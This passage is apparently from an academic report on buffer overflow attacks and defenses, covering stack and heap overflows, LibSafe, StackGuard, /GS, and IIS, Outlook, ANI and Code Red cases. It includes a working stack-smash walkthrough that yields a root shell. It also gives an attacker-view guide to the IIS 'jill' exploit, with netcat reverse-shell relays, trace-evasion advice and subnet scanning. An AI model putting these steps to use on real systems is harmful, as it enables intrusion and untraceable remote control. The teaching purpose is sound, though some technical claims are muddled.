--------------------------- end eggshell.c ----------------------------- 

 

[utsav@localhost]$ gcc eggshell.c -o eggshell; ./eggshell 

[utsav@localhost]$ ./vul `perl -e 'print "A" x 32'` 

Segmentation fault (core dumped) 

 

[utsav@localhost]$ gdb -c core ./vul 

GNU gdb 5.0rh-5 Red Hat Linux 7.1 Copyright 2001 Free Software Foundation, Inc. 

GDB is free software, covered by the GNU General Public License, and you are 

welcome to change it and/or distribute copies of it under certain conditions. Type "show 

copying" to see the conditions. There is absolutely no warranty for GDB. Type "show 

warranty" for details. This GDB was configured as "i386 redhat-linux"...  

Core was generated by `./vul'. 

Program terminated with signal 11, Segmentation fault. 

Reading symbols from /lib/i686/libc.so.6...done. 

Loaded symbols for /lib/i686/libc.so.6 

Reading symbols from /lib/ld-linux.so.2...done. 

Loaded symbols for /lib/ld-linux.so.2 

#0 0x41414141 in ?? () 

(gdb) x/s $esp 

0xbffff570: 

"" 

(gdb) 

0xbffff571: 

"" 
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(gdb) 

0xbffff572: 

"" 

(gdb) 

0xbffff573: 

"" 

(gdb) 

0xbffff574: 

We are going to keep hitting until we see our shellcode address 

(gdb) 

0xbffffa60: 

 (gdb) 

0xbffffa93: 

"MACHTYPE=i386-redhat-linux-gnu" 

(gdb) 

0xbffffab2: 

"KDE_MULTIHEAD=false" 

(gdb) 

0xbffffac6: 

"EGG=", '\220' <repeats 196 times>... 

(gdb) 

0xbffffb8e: 

'\220' <repeats 200 times>... <---- thats the shellcode address that we were looking for 

(gdb) 

(gdb) Quit 

(gdb) x/x 0xbffffb8e 

0xbffffb8e: 

0x90909090 

 

Ok now since we have found our shellcode address the next step will be to 

overwrite our eip address with it to make it point to our shellcode to do so we have first 

to convert our shellcode address to little endian remember the address is 0xbffffb8e lets 

remove the 0x since its not necessary and then break up the address into 2 bytes lots bf 

ff fb 8e and then convert it by moving the last byte of the address to the first and so one 
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the new converted address will look like 8efbffbf but before we use this address we will 

have to add \x to our function printf before each byte so it wont interpret them as ascii 

caracters, so our new address will look like \x8e\xfb\xff\xbf remember our buffer size was 

32 and now we are going to add more 4 bytes (shellcode return address) so will need to 

remove 4 bytes from our initial buffer so we can add our 4 bytes return address 

32 bytes - 4 bytes = 28 bytes 

28 bytes + 4 bytes (shellcode return address) = 32 bytes 

So lets give it a try 

[utsav@localhost]$ ./vul `perl -e 'print "A" x 28'``printf 

"\x8e\xfb\xff\xbf"` 

sh-2.04# 

 

See we did it; we were able to overwrite the eip with our shellcode return address 

and therefore make it point to our shellcode instructions, which spawned a suid shell in 

our case. 

 

4.2    Heap Overflows 
A heap overrun is much the same problem as a stack-based buffer overrun, but it's 

somewhat trickier to exploit. As in the case of a stack-based buffer overrun, your 

attacker can write fairly arbitrary information into places in your application that he 

shouldn't have access to.  

Many programmers don't think heap overruns are exploitable, leading them to 

handle allocated buffers with less care than static buffers. Tools exist to make stack-

based buffer overruns more difficult to exploit. StackGuard, developed by Crispin Cowan 

and others, uses a test value—known as a canary after the miner's practice of taking a 

canary into a coal mine—to make a static buffer overrun much less trivial to exploit. 

Visual C++ .NET incorporates a similar approach. Similar tools do not currently exist to 

protect against heap overruns. 

Some operating systems and chip architectures can be configured to have a non-

executable stack. Once again, this won't help you against a heap overflow because a 

non-executable stack protects against stack-based attacks, not heap-based attacks. 

 

4.3    Heap vs Stack based overflows 
Dynamically allocated variables (those allocated by malloc(); ) are created on the heap. 
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Unlike the stack, the heap grows upwards on most systems; that is, new variables 

created on the heap are located at higher memory addresses than older ones. In a 

simple heap based buffer overflow attack, an attacker overflows a buffer that is lower on 

the heap, overwriting other dynamic variables, which can have unexpected and (from the 

programmer's or administrator's view) unwanted effects. This type of stack is more 

consistent with the FIFO queue, that is, First In First OUT representing how objects are 

added and taken off the stack as it builds. Alternatively, the stack starts at a high 

memory address and forces its way down to a low memory address. The actual 

placement of replacement on the stack is established by the commands PUSH AND 

POP, respectively. A value that is PUSH'ed on to the stack is copied into the memory 

location (exact reference) and is pointed to as execution occurs by the stack pointer (sp). 

The sp will then be decremented as the stack sequentially moves down, making room 

for the next local variables to be added (subl $20,%esp). POP is the reverse of such an 

event. This is dealing with the LIFO queues, Last In First Out, referring to how the 

operations are ordered on the stack.  

Stack based are relatively simple in terms of concept, these include functions 

such as: strcat(), sprint(), strcpy(), gets(), etc. - anywhere where unchecked variables 

are placed into a buffer of fixed length. ALL can be avoided by careful use of the 'n' - 

referring to the byte size, i.e., snprintf(blah, this, sizeof(this)) &lt;-- showing that the 'n' 

creates the size we want to copy to the buffer, in this instance it's the complete buffer 

size, so we don't go over and create the unwanted overflow, and ultimately execute 

unwanted arbitrary data. 
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As we have seen, a buffer overflow attack requires two things. First, a buffer overflow 

must occur in the program. Second, the attacker must be able to use the buffer overflow 

to overwrite a security sensitive piece of data (a security flag, function pointer, return 

address, etc). 

If we want to prevent buffer overflows completely we must stop one of these two 

things, i.e. either: 

• Prevent all buffer overflows or  

• Prevent all sensitive information from being overwritten 

Here we examine some defense techniques against such attacks:- 

 

5.1    Traditional defenses 
 

We now examine some traditional defenses against buffer overflow vulnerabilities such 

as the ones discussed in the last section. We already mentioned the first and most 

obvious of these which is eliminating the error from the target program.  We have seen 

briefly at the end of the last section that unfortunately this approach is unlikely to 

succeed. Here we elaborate on further obstacles to this defense.  

First, there is the magnitude of the problem.  To eliminate the bug a very large 

number of programs must be examined. The number of potential targets already 

deployed is very large. There are some tools that one can use to automate the search 

for the vulnerability. For example, a very simple scheme would be to search for the use 

of the unsafe functions in the C library, which like strcpy() have been identified, and 

replace them with safe functions which takes the size of the buffer into account, like 

strncpy(). Still, manual auditing of the code must be used for each program which makes 

this a massive and very expensive approach. This is not to say that this work should not 

be undertaken, and indeed there are efforts under way to systematically audit the code 

of at least two free versions of UNIX, OpenBSD and Linux. In the case of the former this 

effort seems to have already achieved considerable success, accounting for the 

reputation of OpenBSD among the security community as being the most secure UNIX 

distribution currently available.  One wonders why similar efforts are not under way by 

the commercial vendors of Operating Systems, which one would suppose could better 

afford the cost. While the value of such systematic auditing of code has been 

successfully demonstrated, the approach is not guaranteed to produce buffer-overflow-

free code.  Some buffer overflows have been found even in already audited code.  
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Not surprisingly, most installations must rely on the vendor to provide them with reliable 

code. Even if the source code is available, they must deploy code which they can't hope 

to fully understand themselves. Unfortunately this reliance on the vendor seems 

misplaced in many cases, as vulnerabilities seem to be all too common with most 

vendors. This rather discouraging state of affairs is very frustrating, yet seems to be the 

main approach traditionally recommended.  Security specialists recommend that the 

administrator of a system follow closely the release of security patches by the vendor, so 

that as soon as they are released they can install them. This presumably makes their 

systems more secure.   

However, this approach has serious shortcomings. The first problem is that it is 

costly in terms of the administrator's time and effort.  Many systems are administered not 

by professional system administrators but by people whose primary job is something 

else. For these systems this approach is simply too impractical and untenable. The cure 

is worse than the disease. Thus the high cost of this method of defense guarantees that 

many systems will fail to install the patches in a timely manner, which in turn provides 

attackers with plenty of vulnerable systems, even for vulnerabilities which have already 

been fixed.  Furthermore, as we remarked in the last section, programmers keep 

introducing new vulnerabilities with every new release of the operating system.  

 

5.2    Recent defenses 
Recently new defenses have been discovered that are more promising than the 

traditional approaches discussed above.  We examine three methods and discuss their 

strengths and weaknesses. One of the attractive features of all these three methods is 

that they are all relatively low cost measures that can be easily implemented by any 

system administrator independently of the vendor and they are all effective to some 

degree against buffer overflow vulnerabilities not yet discovered. So the common 

characteristic of these three methods is that they offer valuable protection with current 

code which is vulnerable. The other most significant advantage of these methods is that 

they are proactive methods of defense rather than the reactive methods discussed in the 

previous section.  They allow a significant measure of protection without forcing the 

administrator to have to wait for the vendor to do something to secure his system.  

 

5.3    Disabling Stack Execution 
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Several vendors now offer this method of defense. Most systems do not need code to be 

ever executed on the stack. Since the most common buffer overflows, rely on code to be 

injected into the buffer and then executed, a simple solution is the option to install the 

operating system with stack execution disabled. The idea is simple, inexpensive to install, 

and relatively effective against the current crop of attacks. 

There are some serious weaknesses to this approach. First, though rare, some 

programs do rely on the stack to be executable. More importantly, the defense is weak. 

Though the code in the current crop of stack based buffer overflows is often stored into 

the buffer, a little reflection will immediately reveal that this is not really essential. The 

attacker does not care where the attack code is. All the attacker needs is that this code 

be somewhere in memory and that its address or approximate address be known to the 

attacker so he can overflow the return address with it to hijack control. We think that it is 

only a matter of time before a new crop of buffer overflow attacks will appear that do not 

store the code on the stack and which will become immune to this defense.   

 

5.4    Safer C library support 
A much more robust alternative would be if we could provide a safe version to the C 

library functions on which the attack relies to overwrite the return address.   This idea 

seems to have occurred independently to several people. Can we replace a vulnerable 

function in the C library by a safer version?  We will discuss the idea in terms of strcpy(), 

but it will become readily apparent that the method generalizes to any of the other 

vulnerable string manipulation functions. At first sight a safer version of strcpy() appears 

impossible because strcpy() does not know the size of the buffer that it is copying into, 

so complete avoidance of overflowing the buffer is not possible. Nonetheless, strcpy() 

has access to the dynamic chain on the stack, and successive dynamic links are like 

bright markers delimiting the activation records of all the currently active functions. The 

idea is to use this information to prevent strcpy() from corrupting the return address or 

the dynamic link fields. Using these markers and the address of the buffer itself strcpy()  

can  first determine which activation record contains the buffer, or else that the buffer is 

not on the stack at all. To do this strcpy() finds the interval  [a,b] of consecutive dynamic 

links which contains the buffer. The cases in which the buffer is either below the first 

activation record on the stack, or above the last activation record can be handled as 

special cases with appropriate values of   either a or b. Once the values of a and b are 

determined, we can compute an upper bound on the size of buffer. For example,  if the 
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buffer grows towards the bottom of the stack then   |buffer -a |   is an upper bound on the 

size of the buffer.   This can be used by strcpy() to limit the length of the copied string so 

that  neither  the dynamic link nor the return address are overwritten. Furthermore, 

strcpy()  can detect an attempt to do so, report the problem to syslog, and  safely 

terminate the application.  

LibSafe does not replace the standard C library. The method relies instead on 

the loader searching LibSafe before the standard C library, so that the safe functions are 

used instead of the standard library functions. This scheme is more flexible than 

replacing the functions in the C library itself.  For example, it is possible to have one 

program use the C library functions and another use the LibSafe versions. By setting 

appropriate environment variables LibSafe can be installed as the default library. But 

from a security perspective, there seems to be little reason to keep the vulnerable 

functions installed on the system, so the usefulness of this extra flexibility is somewhat 

questionable.  

This defense has several advantages. It is effective against all buffer overflow 

attacks that attempt to smash the stack in which the target program uses one of the 

vulnerable C library functions to copy into the buffer. The method does not totally 

prevent buffer overflows. It can't, because it does not know the true size of the buffer. It 

is still possible to overflow areas between the buffer and the dynamic link. But the critical 

return address and the dynamic link fields are protected from being overwritten.  

The method fails to provide any protection against heap based buffer overflow attacks 

(see below), or attacks which do not need to hijack control by overwriting the return 

address. Both of these kinds of attack, however, are much harder to pull off, and 

consequently much rarer. The method would also fail to protect a program that does not 

use the standard C library functions to copy into the buffer.  For example, if the target 

program contains custom code to copy the string into the buffer it will not be protected. 

However, it seems clear that few programs will have such custom code. Generally 

speaking it is considered to be bad programming practice to "reinvent the wheel", so 

programmers are encouraged to use the standard libraries.    

Though programs that rely on custom code may contain buffer overflow 

vulnerabilities just as much as those that use the standard C library, they will be less 

likely to be detected. Because of this they will enjoy some immunity from attack. This is 

security through obscurity, which in general is not a good way to secure a system. 

Nonetheless it is of some security value. The overhead of the safe functions is negligible, 
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and the cost of installing the library and configure the system to use it is very low. 

Another advantage is that it works with the binaries of the target program, and does not 

require access to their source code. Finally, it can be deployed without having to wait for 

the vendor to react to security threats, which is a very desirable feature. It is a much 

more robust defense than disabling stack execution. Though we have discussed variants 

of attacks against which it will offer no protection, it is very effective against the class of 

attacks that it is designed for, and it cannot be easily circumvented. The attacker has no 

way of interfering with the detection of the buffer overflow attack, because this occurs 

before the attacker has a chance to hijack control. We conclude that overall, this defense 

offers a very significant improvement of the security of a system at very low cost. In our 

opinion it is a sure winner.    

 

5.5    Compiler Techniques 
Range checking of indices is a defense that is 100% effective against buffer overflow 

attacks. For example, buffer overflow attacks are impossible in a Java program, because 

Java automatically checks that an array index is within the proper bounds. Unfortunately, 

full-blown range checking in C is impossible, because of the dichotomy between arrays 

and pointers. Some compilers will offer protection if the array is accessed with an 

indexing operation, like in the expression buffer[i] but not in an expression like buffer + i. 

When the compiler compiles a function like strcpy(char* dest , char* src) the two 

arguments are just pointers, and it is impossible for the compiler to know the lengths of 

the corresponding arrays. So the compiler cannot generate code to do range checking 

inside of the function. C programmers do not always appreciate range checking because 

of the associated overhead, but this excessive preoccupation with performance is often 

only justified in the most demanding applications.  Snappy performance is always a 

desirable feature, but for most applications it is much less of a critical issue than 

programmers tend to assume. Some security flaws have been uncovered in Java and 

quickly fixed. These flaws did not invalidate Java's security model, which appears to be 

sound, but usually were implementation problems of the Java Virtual Machine, which of 

course is just another C program, so subject to the same programmer errors as any 

other program.    

The performance overhead of StackGuard is worse than that of the LibSafe  defense,  in 

part because StackGuard imposes an overhead on every function called, but better than 

the overhead of range checking which incurs a small extra cost on every array access.  
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In any event,  this overhead is still  small. StackGuard is effective even against custom 

code, since StackGuard is a buffer overflow detection method, so it does not care how 

the buffer overflow happened.  However we noted that custom code attacks seem to be 

less likely than those that rely on the standard library functions. On the other hand, 

assuming that an administrator has access to the modified compiler, the cost of 

protection is much larger than that of the LibSafe approach, because it requires 

recompilation of every target program to be protected.  This also means that one has to 

have access to the source code of the target program, or put another way, StackGuard 

cannot protect a program for which we have no source code, whereas LibSafe can.  

In some ways the three methods discussed in this section are complementary, so they 

can be applied independently and simultaneously. By doing so the robustness against 

future attacks circumventing the defenses is also enhanced. Given  the very low cost of 

deployment and overhead of the first two methods, and moderate cost of deployment 

and low overhead  for the last one,   deploying these methods should be recommended. 

5.6    Using the /GS Compiler Switch to Detect Buffer Overruns 

This section deals with one of the run-time security checks in Visual Studio: the /GS 

compiler option. The Visual C++ compiler has long provided the /RTC compiler option for 

controlling run-time checks such as stack verification, underflow and overflow checking, 

and the detection of variable use without initialization. However, these run-time checks 

introduce a performance overhead that is not acceptable for release builds. In contrast, 

the /GS compiler option provides run-time buffer overrun detection with a reasonable 

overhead for both debug and release builds. 

The /GS compiler option causes the compiler to insert code at the beginning and end of 

functions to set up and check a security cookie on the stack between local variables and 

the return address. When the function completes, but before it returns, a compiler-

generated function is called that checks the cookie to determine if it remains unchanged. 

If the security cookie was changed, the security error handler is called and the 

application is terminated. Otherwise, the function call ends and the program continues 

normally. 

/GS also protects against vulnerable parameters passed into a function. A vulnerable 

parameter is a pointer, C++ reference, or a C-structure that contains a pointer, string 

buffer, or C++ reference. Normally, the incoming function parameters are allocated on 
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the stack and are vulnerable to being overwritten, just like the return address. To avoid 

this situation, the compiler makes a copy of the vulnerable incoming parameters after 

storage for local buffers where they are not in danger of being overwritten. 

Recently, however, most of the tools have concentrated on preventing the return 

address from being overwritten, as most attacks occur this way. StackShield is a freely 

available tool that copies the return address of a function to a safe place (usually to the 

start of the data segment) at the start of the function. When the function terminates, it 

compares the two function return address, the one in the stack and the one stored in 

data segment. In the case of a mismatch, the function aborts immediately. Because a 

function also can call another function, it needs to maintain a stack kind of structure for 

storing return addresses.  
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In this section we discuss some recent vulnerabilities that have been discovered by 

security experts worldwide. These vulnerabilities are pretty dangerous as they have 

affected several thousands of computers all over the world. 

 

6.1    Microsoft IIS Vulnerability Details 
Name: Microsoft Windows 2000 IIS 5.0 IPP ISAPI “Host:” Buffer Overflow Vulnerability 

CVE (Common Vulnerabilities and Exposure): CAN-2001-0241 

Variants: No variants in vulnerability or exploit process however multiple exploit code 

exists. 

Operating System:  Windows 2000 Professional + SP1,  

   Windows 2000 Server + SP1 

   Windows 2000 Advanced Server + SP1 

   Windows 2000 Datacenter Server + SP1 

Exploit Type: Buffer Overflow, Run Arbitrary Code 

Services used: Internet Information Server (IIS) 5.0 web server 

Protocols used: HTTP, HTTPS, other protocols could be utilized by various exploit code 

Discovered by: eEye Digital Security http://www.eEye.com – Riley Hassell 

Brief Description: The Windows 2000 web server software, IIS 5.0, introduced Internet 

Printing Protocol (IPP) that is installed by default and allows submission and control of 

print jobs over HTTP with a web browser. A security vulnerability, discovered by Riley 

Hassell from eEye, exists in an ISAPI extension, msw2prt.dll, does not correctly perform 

input validation checking allowing an attacker to overflow a buffer and run any program 

in the SYSTEM context. A remote command shell is trivial for the attacker to execute 

and devastating for web site because it allows the attacker complete control over the 

web server. 

 

6.1.1    How the exploit works 
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Windows 2000 provides native support for the Internet Printing Protocol (IPP) allowing 

users to print to a URL and view print job information via a web browser. IPP is an 

Internet standard and is described by RFC’s 2910 and 2911. Microsoft Windows 2000 

installs the IPP support by default. IIS 5.0 is required to access IPP because a web 

browser is used to access the printer information with the HTTP or HTTPS protocol.  

There is no way to install Windows 2000 without installing IPP.  

Microsoft implemented IPP via Internet Services Application Programming Interface 

(ISAPI). ISAPI is a technology that allows programmers to create custom programs that 

add functionality to the web server. These custom programs are implemented as ISAPI 

filters or ISAPI extensions. IPP is implemented as an ISAPI extension because IPP is a 

high level service. The ISAPI extension responsible for IPP is msw3prt.dll. When a user 

sends a print request to the web server, the request is handled by the ISAPI extension 

msw3prt.dll. The program accepts input from the client as part of processing the print job 

and temporarily stores it prior to processing it in a memory location called a buffer. The 

program, msw3prt.dll, doesn’t perform input validation checking of the data sent by the 

user. The program blindly writes the data sent by the user into the buffer created by the 

program. If the user sends a specially formed print request with an abnormally large size 

the program will write the data to the buffer however because the data exceeds the size 

of the buffer some of the data will overwrite other neighboring data. This modifies the 

program while it is running. If the oversized print request contains random data the 

program will fail. However, if the oversized print request contains valid program code the 

program can be made to perform a new function or load a different separate program.  

The attacker initiates the running of a program of his choosing by using this technique.  

This is commonly called an “unchecked buffer” or “buffer overflow” vulnerability. Now 

that we have established that we can run an arbitrary program by overrunning the buffer, 

what access level do the programs run at?  The access level can be thought of as a 

program chain. The IIS server runs as the local system account. The IIS server initiates 

the ISAPI extension (msw3prt.dll) so therefore it also runs as the local system account.  

The buffer overflow attack basically changes the ISAPI extension to initiate the arbitrary 

program and therefore it runs in the local system context as well. The local system 

account is the level of access that the operating system runs at and therefore has 

complete control over the computer. This attack is very serious because of the level of 

access that the attacker gains over the computer. The attacker’s ability to control a 

complete domain would be dependant on many factors; however the likelihood of a 
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complete takeover is much higher once the attacker has complete control over one of 

the corporation’s computers.  

 

6.1.2    Jill exploit step by step in the wild 
Note: This portrays a more real world example where the attacker has control over many 

computers and wants to hide his identity. 

1. The attacker will generally use a stolen dial up account to connect his machine to 

the Internet. Once connected he will set up a listener on his machine. 

nc –l –p 52111 –vv) 

2. The attacker will set up a Netcat relay system to make it harder to trace him. 

First he sets up a Netcat listener and a Netcat client on each of the relay 

machines. 

(nc –l –p 52112 –vv | nc <attacker ip> -p 52111) 

He will repeat this step as many times as he feels is necessary, probably 

ensuring that each relay is in a different country with a different language. 

Next he will setup the last relay machine to have Netcat listen on port 23, 

relaying to the next Netcat relay in the line. Any port that can reach the attacker 

may be used. 

(nc –l –p 23 –vv | nc <previous relay> -p 52225)  

3. The attacker then runs jill from one of his “owned” machines. 

(jill <victim> 80 <last relay> 23 ) 

This instructs jill to create program code that starts cmd.exe (command prompt) 

on the victim computer that connects to the last relay machine on port 23. The 

program code is included in the specially crafted print request and jill sends it to 

the victim machine on tcp port 80. 

4. The web server accepts the print request and writes the data to the buffer. The 

program code is larger than the buffer so it overwrites the part of the program 

that controls the next instruction to be processed. 

5. The next instruction to be processed is the request for cmd.exe to load and 

connect to the last relay machine on port 23. 

6. The web server initiates a connection to the last relay machine, which forwards to 

the next relay machine, and so on until it finally reaches the attacker’s machine. 

The Netcat screen on the attacker’s machine provides the attacker complete 

control over the web server via a remote command prompt window.   
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7. The web server software fails because control is given to cmd.exe. 

8. The web server software restarts automatically allowing the attacker to go 

undetected.  (A new feature of Windows 2000) 

The victim, once he notices the system has been infiltrated will try to trace the 

attacker.  The victim must go the last relay machines owner to attempt to trace the 

attacker. The trail will lead to the next relay machine, and so on. All the while the 

machines victim must communicate in Korean, Japanese, German, French, etc. to finally 

track down the attacker. The attacker is almost untraceable if he uses computers in 

multiple countries with different languages and laws. The attacker using a stolen dial up 

account to control his relay machines will be very hard to trace. The next leg of the trace 

will require telephone records (generally not easy to get) to fully trace the telephone line 

used by the attacker. This is very difficult to trace and most likely would not be done 

except for high profile or high monetary value criminal cases. 

Figure 8 
We will outline two similar scenarios using the simplified method: 

 

 

Stateful Inspection Firewall Scenario: 

 
 

 

 

 
The attacker sets up a Netcat listener and runs the exploit code against www.victim.com. 
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The attacker obtains a command prompt with system level access on his machine. Note 

that the whoami command reports NT AUTHORITY\SYSTEM proving complete control 

over the machine. 

 
6.1.3    How to use the exploit 
In this section we will step by step describe how the attack would be done, from the 

viewpoint of the attacker. 

The lab setup is as follows: 

Attacker:  

The computer is running Linux or Windows 2000, the attacker is not using any stealth 

methods or IP hiding techniques. We will be using the jill exploit in this example.   

Victim: 

Web server is running a Windows 2000 Server, Microsoft IIS 5.0; the Internet Printing 

Protocol has not been disabled. 

 

6.1.4    Identifying the Victim 
Criteria: Windows 2000 running IIS 5.0 & IPP active 

 

6.1.5    Finding the Victim 
Using the exploit code iiswebexplt.pl by Wanderley J. Abreu Jr., it is easy to find victims.  

The attacker machine requires that Perl be installed. Once Perl is installed, test the 

exploit to ensure that works correctly.  The command to use is:  

perl iiswebexplt.pl <victim IP> 

If the machine is vulnerable the screen will look like this: 
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Now an easy way to scan a class C subnet is to create a shell script. We have created 

this command file for Windows 2000: 

Echo Start of 192.168.0.0/24 scan > iisresults.txt 

FOR /L %a (1,1,254) DO perl iiswebexplt.pl 192.168.0.%a >> iisresults.txt 

This command file will leave you with a nice file with prospects to attempt the exploit 

against. This technique will not actually test to see if the web server is vulnerable, it 

basically tests to see if the ISAPI extension msw3prt.dll is active.  It will return a false 

positive if the system has SP2 installed on it. 

 

6.1.6    Setup the Netcat listener 
Setup Netcat to listen on the port of your choice.  In this case we will use port 23. 

NC –l –p 23 –vv 

NC is the executable, -l sets Netcat into listen mode, -p specifies that Netcat listen on 

port 23, -vv is very verbose mode. 

Netcat is waiting for the exploited web server to make a connection. 

 
6.1.7    Attack the web server 
Run the jill executable. 

jill www.victim.com 80 attacker 23 

Jill is the executable, www.victim.com is the DNS name of the victim web server, 80 is 

the port that the web server is listening on, attacker is the DNS name of the attacker 

machine, 23 is the port that Netcat is listening on the attacker machine. 

 
6.1.8    Signature of the attack 
This attack is extremely difficult to detect. During the find the victim stage there will not 

be web server log entries. If the service pack 2 or the hotfix have not been installed, no 

trace will be logged in the web server log. 
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During the attack the web server stage there are no web server log entries.  There is no 

trace of the attack in the web server log.  Again, when service pack 2 has been installed 

the following log sample was recorded as a result of a jill attack. 

However, if only service pack 1 is installed some evidence exists in the System Event 

log. Basically the log entries, as seen below, log a crash of the IIS Admin Service and 

World Wide Web Publishing Service, with a restart of the same services. These services 

make up the main components of the IIS 5.0 server.  

 
6.1.9    How to protect against it? 
Disable Internet Printing Protocol 

Limiting access to the Printers directory by IP Address or even deleting the Printers 

directory from the web server cannot control this vulnerability. Even if access is limited to 

the localhost (127.0.0.1) the web server can still be exploited remotely. Disabling the 

Internet Printing Protocol (IPP) is the only way to protect the web server without 

performing one of the other steps in this section. 

To disable IPP open the IIS Administrative tool. Open the IIS properties, then edit the 

master properties for the www service. The control is cleverly hidden on the Home 

Directory tab then the configuration button. Finally the Application Configuration dialog 

will display the ISAPI extensions. Delete the .printer extension and save the 

configuration. You have disabled IPP.   

A good practice is to initially test the server with one of the exploits to ensure that it will 

work with your server. The exploit code covered here works on the US version of 

Windows 2000 and may not function on international versions. Once IPP is disabled, test 

with the exploit code. Finally, reboot the server and test it with the exploit code again. If 

the exploit code ceased functioning but then functioned again after the reboot, you may 

have a Group Policy affecting your web server. 

Install Windows 2000 Service Pack 2 

The hotfix associated with Q296576 will repair the unchecked buffer vulnerability, and 

this hotfix has been rolled into Server Pack 2 (SP2).  Download and install SP2. 

Utilize an Application Proxy Firewall 

In the Microsoft Security Bulletin MS01-023, Microsoft stated, “On the other hand, if the 

firewall allowed web sessions, the servers behind it would be vulnerable”. This statement 

is correct for most firewalls; however it is not true for certain application proxy firewalls.  
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The Symantec Enterprise Firewall (SEF) v6.5 for example protected against the 

available exploit code. 

SEF is an application proxy based firewall and as such is able to not only examine the 

stateful packet information, but can also examine the payload. In this case it detected 

the malicious payload by examining the HTTP or HTTPS data to determine if it was valid 

and blocked the packets to protect the target web server from the attacker. The SEF 

firewall will protect a web server from many payload-based exploits, however it will not 

protect against all exploits. 

Another type of application firewall installs on the web server and analyzes traffic to 

determine if is safe or not. eEye Digital Security, the company that discovered this 

vulnerability, produces such a firewall for IIS 4.0 and 5.0. They claim that SecureIIS will 

protect an IIS 5.0 server from being exploited in this manner. This would be a good 

option if a stateful packet filter firewall was already in place protecting the web server. 

These solutions are part of a nice defense in depth strategy. 

Defense in Depth, the best answer 

The defense in depth strategy should include all or most of the items outlined below. 

Security Policy 
Ensure that a security policy exists.  It should be clear, concise, and realistic and provide 

sufficient guidance to instruct the technical people responsible for the infrastructure and 

the programming. The policy should cover many items such as malicious code (virus), 

passwords, backups, incident handling, proprietary information, and when appropriate 

should point to separate setup and configuration best practices documents to assist 

technical staff. If your organization cannot support the full policies listed here, create a 

smaller overview document and the setup and configuration documents. You can always 

add to the policies later, however your servers need to be setup and they need to be 

secure. These documents should outline many of the points in following section “Secure 

the Web Server”. 

Keep up to date 
Subscribe to the security newsletters for the technologies that you use. For a Microsoft 

environment, subscribing to the Microsoft Security Notification service is essential. The 

amount of email is reasonable however you will be notified of all security fixes that 

Microsoft releases allowing you to quickly evaluate if you need them. The email service 

is available at http://www.microsoft.com/technet/security/notify.asp. 
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Secure the Web Server 
Basic IIS 5.0 Web Server security steps: (there are always exceptions, however this is 

good starting point) 

1. Install only the IIS options that are required.  (Common Files, FTP if required, 

IIS Snap in, and WWW are all recommended) 

2. Try to install the Web into a separate partition created just for IIS or at least 

install it to a different partition from the system partition (i.e. D:\Inetpub\wwwroot) 

Once the IIS install has completed, re-install the appropriate service pack and all 

security hotfixes related to IIS. 

3. Configure the properties for the Server: 

WWW Service >> Edit >> Web Site >> Enable Logging >> Properties 
>>Extended Properties >> Log these: 

Time 

Client IP  

Client IP Address  

User Name  

Method  

URI Stem  

HTTP Status  

Win32 Status  

User Agent  

Server IP Address  

Server Port  

Operators >> Administrators 

Directory Security >> Anonymous Access Only  

Directory Security >> IP Address restrictions>> All computers Denied except 

127.0.0.1 (We will allow public access on specific webs later.) 

Performance: Configure according to your needs. 

Home Directory:  Web path should be separate from your system partition.  

Allow Read, Log visits.   

Home Directory >> Applications settings >> Configuration >> remove all 

extraneous extension mappings like *.htw, *.htr, *.ida, *.idq, *.printer, etc. Leaving 

only *.asp. 

Home Directory >> Applications settings >> Configuration >> App Options 
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>> Uncheck Enable parent paths (disallows ..\ as a way to describe the parent 

directory) 

Home Directory >> Applications settings >> Configuration >>>> App 
Debuging >> Script Error Messages >> Send text error message to client. 

Documents>> Limit it to the default that you wish to use.  (Default.htm) 

Inheritance Overrides>> If you get asked this question, override then go to that 

particular web and edit appropriately. 

4. Go back to any folders and set permissions as required. 

Directory Security>> Go back to the Default Web Site and set the IP Addresses 

to all computers Granted.  Don't override any child nodes. 

5. Commence loading web content. 

 

6.2    Microsoft Outlook Express Vulnerability 
 In July 2002, a vulnerability to buffer overflow attack was discovered in Microsoft 

Outlook and Outlook Express. A programming flaw made it possible for an attacker to 

compromise the integrity of the target computer by simply sending an e-mail message. 

Unlike the typical e-mail virus, users could not protect themselves by not opening 

attached files; in fact, the user did not even have to open the message to enable the 

attack. The programs' message header mechanisms had a defect that made it possible 

for senders to overflow the area with extraneous data, which allowed them to execute 

whatever type of code they desired on the recipient's computers. Because the process 

was activated as soon as the recipient downloaded the message from the server, this 

type of buffer overflow attack was very difficult to defend. Microsoft has since created a 

patch to eliminate the vulnerability. 

 

6.3    Windows Ani files Vulnerability 
Animated cursor files (.ani) contain animated graphics for icons and cursors. A stack 

buffer overflow vulnerability exists in the way that Microsoft Windows processes 

malformed animated cursor files. Microsoft Windows fails to properly validate the size 

specified in the ANI header. Note that Windows Explorer will process ANI files with 

several different file extensions, such as .ani, .cur, or .ico. 

Note that animated cursor files are parsed when the containing folder is opened 

or it is used as a cursor. In addition, Internet Explorer can process ANI files in HTML 

documents, so web pages and HTML email messages can also trigger this vulnerability. 
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More information on this vulnerability is available in Microsoft Security Advisory (935423). 

Animated cursors allow a mouse pointer to appear animated on a Web site. The 

feature is often designated by the .ani suffix, but attacks for this vulnerability are not 

constrained by this file type so simply blocking .ani files won't necessarily protect a PC. 

Successful exploitation can result in memory corruption when processing cursors, 

animated cursors, and icons. According to Arbor Networks, the malicious code on 

compromised Web sites exploiting this flaw appears to be originating from the following 

sites, which one may want to block: 

wsfgfdgrtyhgfd.net  

85.255.113.4  

uniq-soft.com  

fdghewrtewrtyrew.biz  

newasp.com.cn  

More than two weeks after the attacks were first spotted (28th March, 2007) there 

are still more than 2,000 unique sites that are hosting exploit code and/or are 

compromised and are pointing to machines that host exploit code, Websense said. 

According to Andreas Marx of AV Test, there are more than 46,000 different URLs that 

together serve up almost 3,000 different corrupted animated cursor files. 

 

6.4 Code Red 
A server running Microsoft’s IIS sends you a web page if a request is made to that 

server by telling it what you want (for e.g., you might tell www.nitrkl.ac.in that you want 

the hypertext file /placement/statistics.html by typing  

http:// www.nitrkl.ac.in/placement/statistics.html). 

 The string you send is stored in one buffer, which does not overflow because it 

was properly bounds-checked.  Each character is an ASCII character which takes one 

byte to store. 

 If you requested some other http service, though, this buffer might be reformatted 

into UNICODE (used for international character sets, 1 character = 2 bytes) and stored 

in another buffer. 

 It was this other buffer that overflowed because there was no bounds checking to 

make sure the UNICODE buffer was twice as big as the ASCII buffer. 
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While it is not easy to exploit this kind of buffer overflow, it proved to not be 

impossible.  The buffer overflow allowed the attack code, which was included in the 

request string, to be executed. 

The Code Red worm defaced web sites on English-language servers, and made 

